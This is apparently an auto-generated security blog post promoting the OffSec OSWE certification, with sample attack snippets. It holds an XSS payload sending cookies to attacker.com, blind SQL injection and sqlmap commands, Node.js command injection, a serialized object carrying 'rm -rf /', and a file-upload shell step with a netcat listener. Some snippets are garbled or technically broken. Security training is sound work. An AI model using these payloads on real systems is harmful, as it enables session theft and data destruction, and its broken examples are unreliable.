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The OffSec Web Expert (OSWE) certification, earned through the WEB-300 course, is an advanced offensive security training program designed for experienced penetration testers. The course covers advanced web application attacks, exploitation techniques, and manual source code analysis.
Learning Objectives of WEB-300:
- Exploit stored XSS vulnerabilities
- Master SQL injection attacks
- Exploit server-side JavaScript code injection
- Abuse deserialization vulnerabilities for RCE
- Perform manual source code audits
- Develop custom fuzzing tools
- Conduct session hijacking & CSRF attacks
- Bypass authentication via SQLi & other techniques
- Exploit file upload vulnerabilities for RCE
- Abuse PHP type juggling vulnerabilities
🔗 Course Link: OffSec WEB-300
You Should Know:
1. Exploiting Stored XSS
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Mitigation: Use Content Security Policy (CSP) and input sanitization.
2. Advanced SQL Injection (Time-Based Blind SQLi)
SELECT IF(SUBSTRING(database(),1,1)='a', SLEEP(5), NULL);
Tool: `sqlmap -u “http://target.com/page?id=1” –technique=T –time-sec=5`
3. Server-Side JavaScript Injection (Node.js)
eval('require("child_process").exec("whoami")');
Mitigation: Avoid `eval()` and use strict input validation.
4. Deserialization Attack (PHP)
<?php
class Exploit {
public $command = "rm -rf /";
}
echo serialize(new Exploit);
?>
Tool: `ysoserial` for Java deserialization attacks.
5. File Upload to RCE
Bypass extension filter (PHP) mv shell.php shell.php.jpg curl -F "[email protected]" http://target.com/upload
Exploit:
nc -lvnp 4444
6. PHP Type Juggling Exploit
if ("0e1234" == "0e5678") { // True due to type juggling
echo "Authentication Bypassed!";
}
What Undercode Say:
The OSWE certification is a must for security professionals diving deep into web app exploitation. Mastery of manual code review, custom exploit development, and advanced bypass techniques sets it apart from entry-level certs like OSCP.
Expected Output:
- Manual Exploitation > Automated Tools
- Deep Code Review Skills
- Custom Fuzzing & Payload Crafting
🔗 More Resources:
Prediction:
As web applications grow in complexity, deserialization, API abuses, and serverless vulnerabilities will dominate future exploit techniques. The OSWE certification will remain a key differentiator for elite penetration testers.
🚀 Expected Output: A highly skilled web app pentester capable of manual bug discovery and exploit development.
IT/Security Reporter URL:
Reported By: August Vansickle – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
